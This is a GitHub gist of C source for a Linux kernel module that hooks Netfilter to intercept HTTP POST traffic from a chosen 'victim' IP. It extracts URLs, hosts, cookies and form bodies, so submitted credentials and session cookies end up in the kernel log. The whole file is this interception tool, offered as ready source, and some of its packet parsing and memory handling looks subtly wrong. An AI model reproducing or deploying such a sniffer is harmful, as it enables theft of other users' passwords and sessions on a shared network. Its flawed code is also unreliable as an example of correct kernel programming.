Last active
August 29, 2015 14:07
-
-
Save huzhifeng/93d2b12eb14b88ad65c8 to your computer and use it in GitHub Desktop.
A linux kernel module to snoop HTTP based on Netfilter
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/ip.h> | |
#include <linux/tcp.h> | |
#include <linux/netfilter_ipv4.h> | |
MODULE_LICENSE("GPL"); | |
MODULE_AUTHOR("[email protected]>"); | |
MODULE_DESCRIPTION("Netfilter HTTP sniffer module"); | |
#define MAX_HTTP_HEADER_LEN 2048 | |
#define MAX_HTTP_DATA_LEN 1024 | |
#if 1 | |
#define LKP(fmt, args...) printk(KERN_EMERG "[LKP %s(), line %d, " fmt "]\n", __FUNCTION__, __LINE__, ##args) | |
#else | |
#define LKP(fmt, args...) | |
#endif | |
typedef enum { | |
HTTP_GET = 0, | |
HTTP_POST, | |
HTTP_HEAD, | |
HTTP_DELETE, | |
HTTP_INVALID | |
}HTTP_TYPE; | |
typedef struct _http_request { | |
HTTP_TYPE type; | |
char *url; | |
char *host; | |
char *ua; | |
char *cookie; | |
char *data; | |
}http_request; | |
static int victim_ip = 0x0; // Only match the last byte | |
static int debug = 0; | |
module_param(victim_ip, int, 0444); | |
module_param(debug, bool, 0444); | |
static unsigned int http_sniffer_fn(unsigned int hooknum, | |
struct sk_buff *pskb, | |
const struct net_device *in, | |
const struct net_device *out, | |
int (*okfn)(struct sk_buff *)) | |
{ | |
struct ethhdr *ethh = NULL; | |
struct iphdr *iph = NULL; | |
struct tcphdr *tcph = NULL; | |
u32 *httph = NULL; | |
http_request *req = NULL; | |
int tcp_dst_port; | |
int tcp_data_len=0; | |
unsigned char *tcp_data = NULL; | |
unsigned char *http_data = NULL; | |
unsigned char c = 0; | |
unsigned char header_buf[MAX_HTTP_HEADER_LEN] = {0}; | |
unsigned int url_len = 0; | |
unsigned int host_len = 0; | |
unsigned int ua_len = 0; | |
unsigned int cookie_len = 0; | |
unsigned int content_length = 0; | |
int i = 0, j = 0; | |
if (NULL == pskb) { | |
return NF_ACCEPT; | |
} | |
ethh = eth_hdr(pskb); | |
if (NULL == ethh) { | |
return NF_ACCEPT; | |
} | |
iph = ip_hdr(pskb); | |
if (NULL == iph) { | |
return NF_ACCEPT; | |
} | |
if (0x6 != iph->protocol) { // Not TCP | |
return NF_ACCEPT; | |
} | |
if (victim_ip && ((iph->saddr & 0xFF) != (victim_ip & 0xFF))) { | |
return NF_ACCEPT; | |
} | |
tcph = (struct tcphdr *)((char *)iph + (iph->ihl << 2)); | |
if (NULL == tcph) { | |
return NF_ACCEPT; | |
} | |
tcp_dst_port = ntohs(tcph->dest); | |
if (80 != tcp_dst_port) { | |
return NF_ACCEPT; | |
} | |
if (!tcph->psh) { // TCP three-way handshake | |
return NF_ACCEPT; | |
} | |
tcp_data_len = iph->tot_len - (iph->ihl << 2) - (tcph->doff << 2); | |
tcp_data = (unsigned char *)(pskb->data + (iph->ihl << 2) + (tcph->doff << 2)); | |
httph = (u32 *)tcp_data; | |
if (*httph != 0x504f5354) { // Not POST | |
return NF_ACCEPT; | |
} | |
req = kmalloc(sizeof(http_request), GFP_KERNEL); | |
if (!req) { | |
return NF_ACCEPT; | |
} | |
memset(req, 0x0, sizeof(http_request)); | |
while ((i < tcp_data_len) && tcp_data[i]) { | |
c = tcp_data[i]; | |
if ((c == 0xd) && (i + 1 < tcp_data_len) && (tcp_data[i + 1] == 0xa)) { | |
if (j == 0) { | |
break; | |
} | |
header_buf[j] = 0; | |
if (strstr(header_buf, "POST ") != NULL) { | |
req->type = HTTP_POST; | |
url_len = j - 14; | |
req->url = kmalloc(url_len + 1, GFP_KERNEL); | |
if (!req->url) { | |
goto req_free; | |
} | |
memset(req->url, 0x0, url_len + 1); | |
memcpy(req->url, header_buf + 5, url_len); | |
if (debug) LKP("Post: %s", req->url); | |
} else if (strstr(header_buf, "Host: ") != NULL) { | |
host_len = j - 6; | |
req->host = kmalloc(host_len + 1, GFP_KERNEL); | |
if (!req->host) { | |
goto req_free; | |
} | |
memset(req->host, 0x0, host_len + 1); | |
memcpy(req->host, header_buf + 6, host_len); | |
if (debug) LKP("Host: %s", req->host); | |
} else if (strstr(header_buf, "User-Agent: ") != NULL) { | |
ua_len = j - 12; | |
req->ua = kmalloc(ua_len + 1, GFP_KERNEL); | |
if (!req->ua) { | |
goto req_free; | |
} | |
memset(req->ua, 0x0, ua_len + 1); | |
memcpy(req->ua, header_buf + 12, ua_len); | |
if (debug) LKP("User-Agent: %s", req->ua); | |
} else if (strstr(header_buf, "Cookie: ") != NULL) { | |
cookie_len = j - 8; | |
req->cookie = kmalloc(cookie_len + 1, GFP_KERNEL); | |
if (!req->cookie) { | |
goto req_free; | |
} | |
memset(req->cookie, 0x0, cookie_len + 1); | |
memcpy(req->cookie, header_buf + 8, cookie_len); | |
if (debug) LKP("Cookie: %s", req->cookie); | |
} else if (strstr(header_buf, "Content-Length: ") != NULL) { | |
content_length = (unsigned int)simple_strtoul(header_buf + 16, NULL, 10); | |
if (debug) LKP("Content-Length: %d", content_length); | |
} else if (strstr(header_buf, "Content-Type: application/x-www-form-urlencoded") != NULL) { | |
req->type = HTTP_POST; | |
if (debug) LKP("%s", header_buf); | |
} else { | |
//if (debug) LKP("Header: %s", header_buf); | |
} | |
j = 0; | |
i++; | |
} | |
else { | |
header_buf[j++]=c; | |
} | |
i++; | |
} | |
if (HTTP_POST == req->type) { | |
if (debug) { | |
#define D(i) (ethh->h_dest[i]) | |
#define S(i) (ethh->h_source[i]) | |
LKP("ETH dump: dst_mac=%02x:%02x:%02x:%02x:%02x:%02x,src_mac=%02x:%02x:%02x:%02x:%02x:%02x,type=0x%x",\ | |
D(0),D(1),D(2),D(3),D(4),D(5),S(0),S(1),S(2),S(3),S(4),S(5),ethh->h_proto); | |
#undef D | |
#undef S | |
LKP("IP dump:version=%d,ihl=%d,tos=%d,tot_len=%d,id=0x%x,frag_off=0x%x,ttl=%d,protocol=%d,check=0x%x,saddr=0x%x,daddr=0x%x",\ | |
iph->version,iph->ihl,iph->tos,iph->tot_len,iph->id,iph->frag_off,iph->ttl,iph->protocol,iph->check,iph->saddr,iph->daddr); | |
LKP("TCP dump:source=%d,dest=%d,seq=%d,ack_seq=%d,doff=%d,psh=%d,window=%d,check=0x%x,urg_ptr=0x%x",\ | |
tcph->source,tcph->dest,tcph->seq,tcph->ack_seq,tcph->doff,tcph->psh,tcph->window,tcph->check,tcph->urg_ptr); | |
LKP("HTTP dump:content_length=%d,tcp_data_len=%d", content_length, tcp_data_len); | |
} | |
if (content_length > MAX_HTTP_DATA_LEN) { | |
LKP("Too big data, content_length = %d", content_length); | |
goto req_free; | |
} | |
http_data = (unsigned char *)strstr(tcp_data, "\r\n\r\n"); | |
if ((content_length > 0) && (http_data + 4 - tcp_data < tcp_data_len)) { | |
req->data = kmalloc(content_length + 1, GFP_KERNEL); | |
if (!req->data) { | |
goto req_free; | |
} | |
http_data += 4; | |
memset(req->data, 0x0, content_length + 1); | |
memcpy(req->data, http_data, content_length); | |
LKP("0x%08x POST %s at %s: %s", iph->saddr, req->url, req->host, req->data); | |
} else { | |
LKP("No HTTP Post data"); | |
} | |
} | |
req_free: | |
if (req) { | |
if (req->url) { | |
kfree(req->url); | |
} | |
if (req->host) { | |
kfree(req->host); | |
} | |
if (req->ua) { | |
kfree(req->ua); | |
} | |
if (req->cookie) { | |
kfree(req->cookie); | |
} | |
if (req->data) { | |
kfree(req->data); | |
} | |
kfree(req); | |
} | |
return NF_ACCEPT; | |
} | |
static struct nf_hook_ops http_sniffer_ops __read_mostly = { | |
.hook = http_sniffer_fn, | |
.owner = THIS_MODULE, | |
.pf = PF_INET, | |
.hooknum = NF_INET_PRE_ROUTING, | |
.priority = NF_IP_PRI_CONNTRACK-1, | |
}; | |
static int __init http_sniffer_init(void) | |
{ | |
LKP("enter"); | |
return nf_register_hook(&http_sniffer_ops); | |
} | |
static void __exit http_sniffer_exit(void) | |
{ | |
LKP("enter"); | |
nf_unregister_hook(&http_sniffer_ops); | |
} | |
module_init(http_sniffer_init); | |
module_exit(http_sniffer_exit); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment